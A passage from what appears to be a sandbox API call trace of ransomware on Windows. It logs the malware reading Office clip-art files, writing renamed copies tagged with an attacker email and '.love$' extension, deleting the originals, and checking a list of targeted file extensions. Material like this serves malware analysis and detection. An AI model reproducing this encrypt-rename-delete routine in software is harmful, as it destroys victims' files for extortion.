lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x5b0, lpOverlapped=0x0) returned 1 [0262.781] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0262.847] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.847] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.848] SetEndOfFile (hFile=0x4c8) returned 1 [0262.848] CloseHandle (hObject=0x4c8) returned 1 [0262.848] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.848] SetEndOfFile (hFile=0x550) returned 1 [0262.854] CloseHandle (hObject=0x550) returned 1 [0262.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.957] lstrlenW (lpString=".doc") returned 4 [0262.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.957] lstrlenW (lpString=".docx") returned 5 [0262.957] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0262.957] lstrlenW (lpString=".pdf") returned 4 [0262.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.957] lstrlenW (lpString=".xls") returned 4 [0262.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.958] lstrlenW (lpString=".xlsx") returned 5 [0262.958] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0262.958] lstrlenW (lpString=".ppt") returned 4 [0262.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.958] lstrlenW (lpString=".zip") returned 4 [0262.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.958] lstrlenW (lpString=".rar") returned 4 [0262.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.958] lstrlenW (lpString=".bz2") returned 4 [0262.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.958] lstrlenW (lpString=".7z") returned 3 [0262.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.958] lstrlenW (lpString=".dbf") returned 4 [0262.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.959] lstrlenW (lpString=".1cd") returned 4 [0262.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.959] lstrlenW (lpString=".jpg") returned 4 [0262.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.959] lstrlenW (lpString=".doc") returned 4 [0262.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.959] lstrlenW (lpString=".docx") returned 5 [0262.959] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0262.959] lstrlenW (lpString=".pdf") returned 4 [0262.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.960] lstrlenW (lpString=".xls") returned 4 [0262.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.960] lstrlenW (lpString=".xlsx") returned 5 [0262.960] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0262.960] lstrlenW (lpString=".ppt") returned 4 [0262.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.960] lstrlenW (lpString=".zip") returned 4 [0262.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.960] lstrlenW (lpString=".rar") returned 4 [0262.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.961] lstrlenW (lpString=".bz2") returned 4 [0262.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.961] lstrlenW (lpString=".7z") returned 3 [0262.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.961] lstrlenW (lpString=".dbf") returned 4 [0262.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.961] lstrlenW (lpString=".1cd") returned 4 [0262.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0262.961] lstrlenW (lpString=".jpg") returned 4 [0262.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.962] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.962] lstrlenW (lpString="J0093905.WMF") returned 12 [0262.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0262.966] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=42050) returned 1 [0262.966] CloseHandle (hObject=0x534) returned 1 [0262.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0262.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0262.969] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.969] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0262.972] GetLastError () returned 0x0 [0262.972] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xa442, lpOverlapped=0x0) returned 1 [0262.984] WriteFile (in: hFile=0x570, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xa450, lpOverlapped=0x0) returned 1 [0262.988] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.988] WriteFile (in: hFile=0x570, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.989] SetEndOfFile (hFile=0x570) returned 1 [0263.273] CloseHandle (hObject=0x570) returned 1 [0263.273] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.273] SetEndOfFile (hFile=0x534) returned 1 [0263.279] CloseHandle (hObject=0x534) returned 1 [0263.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.714] lstrlenW (lpString=".doc") returned 4 [0263.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.714] lstrlenW (lpString=".docx") returned 5 [0263.714] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.714] lstrlenW (lpString=".pdf") returned 4 [0263.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.714] lstrlenW (lpString=".xls") returned 4 [0263.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.714] lstrlenW (lpString=".xlsx") returned 5 [0263.715] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.715] lstrlenW (lpString=".ppt") returned 4 [0263.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.715] lstrlenW (lpString=".zip") returned 4 [0263.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.715] lstrlenW (lpString=".rar") returned 4 [0263.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.715] lstrlenW (lpString=".bz2") returned 4 [0263.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.715] lstrlenW (lpString=".7z") returned 3 [0263.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.715] lstrlenW (lpString=".dbf") returned 4 [0263.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.715] lstrlenW (lpString=".1cd") returned 4 [0263.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.715] lstrlenW (lpString=".jpg") returned 4 [0263.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.716] lstrlenW (lpString=".doc") returned 4 [0263.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.716] lstrlenW (lpString=".docx") returned 5 [0263.716] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.716] lstrlenW (lpString=".pdf") returned 4 [0263.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.716] lstrlenW (lpString=".xls") returned 4 [0263.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.716] lstrlenW (lpString=".xlsx") returned 5 [0263.716] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.716] lstrlenW (lpString=".ppt") returned 4 [0263.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.716] lstrlenW (lpString=".zip") returned 4 [0263.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.716] lstrlenW (lpString=".rar") returned 4 [0263.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.716] lstrlenW (lpString=".bz2") returned 4 [0263.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.717] lstrlenW (lpString=".7z") returned 3 [0263.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.717] lstrlenW (lpString=".dbf") returned 4 [0263.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.717] lstrlenW (lpString=".1cd") returned 4 [0263.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0263.717] lstrlenW (lpString=".jpg") returned 4 [0263.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.717] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0263.717] lstrlenW (lpString="J0099149.WMF") returned 12 [0263.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0263.719] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=73214) returned 1 [0263.719] CloseHandle (hObject=0x534) returned 1 [0263.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220 [0263.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0263.720] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.720] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0263.722] GetLastError () returned 0x0 [0263.722] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x11dfe, lpOverlapped=0x0) returned 1 [0263.729] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11e00, lpOverlapped=0x0) returned 1 [0263.733] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.733] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.733] SetEndOfFile (hFile=0x45c) returned 1 [0263.733] CloseHandle (hObject=0x45c) returned 1 [0263.733] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.734] SetEndOfFile (hFile=0x534) returned 1 [0263.739] CloseHandle (hObject=0x534) returned 1 [0263.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0264.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.042] lstrlenW (lpString=".doc") returned 4 [0264.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.042] lstrlenW (lpString=".docx") returned 5 [0264.042] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0264.042] lstrlenW (lpString=".pdf") returned 4 [0264.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.043] lstrlenW (lpString=".xls") returned 4 [0264.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.043] lstrlenW (lpString=".xlsx") returned 5 [0264.043] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0264.043] lstrlenW (lpString=".ppt") returned 4 [0264.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.043] lstrlenW (lpString=".zip") returned 4 [0264.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.043] lstrlenW (lpString=".rar") returned 4 [0264.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.043] lstrlenW (lpString=".bz2") returned 4 [0264.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.043] lstrlenW (lpString=".7z") returned 3 [0264.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.044] lstrlenW (lpString=".dbf") returned 4 [0264.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.044] lstrlenW (lpString=".1cd") returned 4 [0264.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.044] lstrlenW (lpString=".jpg") returned 4 [0264.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.044] lstrlenW (lpString=".doc") returned 4 [0264.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.044] lstrlenW (lpString=".docx") returned 5 [0264.044] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0264.044] lstrlenW (lpString=".pdf") returned 4 [0264.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.044] lstrlenW (lpString=".xls") returned 4 [0264.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.044] lstrlenW (lpString=".xlsx") returned 5 [0264.045] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0264.045] lstrlenW (lpString=".ppt") returned 4 [0264.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.045] lstrlenW (lpString=".zip") returned 4 [0264.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.045] lstrlenW (lpString=".rar") returned 4 [0264.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.045] lstrlenW (lpString=".bz2") returned 4 [0264.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.045] lstrlenW (lpString=".7z") returned 3 [0264.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.045] lstrlenW (lpString=".dbf") returned 4 [0264.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.045] lstrlenW (lpString=".1cd") returned 4 [0264.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0264.045] lstrlenW (lpString=".jpg") returned 4 [0264.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.046] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0264.046] lstrlenW (lpString="J0099154.JPG") returned 12 [0264.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0265.099] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6929) returned 1 [0265.099] CloseHandle (hObject=0x418) returned 1 [0265.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0265.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0265.101] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.101] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0265.109] GetLastError () returned 0x0 [0265.109] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1b11, lpOverlapped=0x0) returned 1 [0265.115] WriteFile (in: hFile=0x560, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0265.117] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, 